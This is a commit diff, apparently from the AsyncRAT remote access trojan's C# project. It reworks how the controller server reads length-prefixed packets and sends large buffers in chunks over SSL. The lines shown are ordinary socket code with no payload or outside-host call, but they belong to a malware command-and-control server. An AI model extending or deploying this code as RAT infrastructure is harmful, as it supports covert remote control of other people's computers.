private int ClientBuffersize { get; set; } private long Offset { get; set; }
private bool ClientBufferRecevied { get; set; } private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; }
public object SendSync { get; set; } public object SendSync { get; set; }
public long BytesRecevied { get; set; } public long BytesRecevied { get; set; }
@ -43,9 +42,10 @@ namespace Server.Connection
try try
{ {
SslClient.EndAuthenticateAsServer(ar); SslClient.EndAuthenticateAsServer(ar);
Offset = 0;
HeaderSize = 4;
ClientBuffer = new byte[HeaderSize]; ClientBuffer = new byte[HeaderSize];
ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
} }
catch catch
{ {
@ -65,53 +65,60 @@ namespace Server.Connection
} }
else else
{ {
int Recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (Recevied > 0) if (recevied > 0)
{ {
HeaderSize -= recevied;
Offset += recevied;
switch (ClientBufferRecevied) switch (ClientBufferRecevied)
{ {
case false: case false:
{ {
ClientMS.Write(ClientBuffer, 0, Recevied); if (HeaderSize == 0)
if (ClientMS.Length == HeaderSize)
{ {
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
ClientMS.Dispose(); if (HeaderSize > 0)
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{ {
ClientBuffer = new byte[ClientBuffersize]; ClientBuffer = new byte[HeaderSize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Buffersize " + HeaderSize.ToString() + " Bytes ///");
Offset = 0;
ClientBufferRecevied = true; ClientBufferRecevied = true;
} }
} }
else if (HeaderSize < 0)
{
Disconnected();
return;
}
break; break;
} }
case true: case true:
{ {
ClientMS.Write(ClientBuffer, 0, Recevied);
lock (Settings.LockReceivedSendValue) lock (Settings.LockReceivedSendValue)
Settings.ReceivedValue += Recevied; Settings.ReceivedValue += recevied;
BytesRecevied += Recevied; BytesRecevied += recevied;
if (ClientMS.Length == ClientBuffersize) if (HeaderSize == 0)
{ {
ThreadPool.QueueUserWorkItem(new Packet ThreadPool.QueueUserWorkItem(new Packet
{ {
client = this, client = this,
data = ClientMS.ToArray(), data = ClientBuffer,
}.Read, null); }.Read, null);
Offset = 0;
HeaderSize = 4;
ClientBuffer = new byte[HeaderSize]; ClientBuffer = new byte[HeaderSize];
ClientMS.Dispose();
ClientMS = new MemoryStream();
ClientBufferRecevied = false; ClientBufferRecevied = false;
} }
else if (HeaderSize < 0)
{
Disconnected();
return;
}
break; break;
} }
} }
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
} }
else else
{ {
@ -154,7 +161,6 @@ namespace Server.Connection
{ {
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
ClientMS?.Dispose();
} }
catch { } catch { }
} }
@ -180,25 +186,23 @@ namespace Server.Connection
if (buffer.Length > 1000000) //1mb if (buffer.Length > 1000000) //1mb
{ {
Debug.WriteLine("send chunks"); Debug.WriteLine("send chunks");
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(buffer))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(buffer))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
int bytesToRead = (int)buffereReader.Length; int read = 0;
do memoryStream.Position = 0;
byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
lock (Settings.LockReceivedSendValue) lock (Settings.LockReceivedSendValue)
Settings.SentValue += chunk.Length; Settings.SentValue += read;
} while (bytesToRead > 0); }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffer, 0, buffer.Length); SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush(); SslClient.Flush();
lock (Settings.LockReceivedSendValue) lock (Settings.LockReceivedSendValue)

23
AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
View File

@ -14,6 +14,7 @@ using System.Net.Sockets;
using Timer = System.Threading.Timer; using Timer = System.Threading.Timer;
using Server.Helper; using Server.Helper;
using Server.Algorithm; using Server.Algorithm;
using System.Diagnostics;
namespace Server.Forms namespace Server.Forms
{ {
@ -79,21 +80,17 @@ namespace Server.Forms
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
int bytesToRead = (int)buffereReader.Length; int read = 0;
do memoryStream.Position = 0;
byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; Client.SslClient.Write(chunk, 0, read);
Client.SslClient.Write(chunk, 0, chunk.Length); }
Client.SslClient.Flush();
BytesSent += chunk.Length;
} while (bytesToRead > 0);
Client?.Disconnected();
} }
} }
else else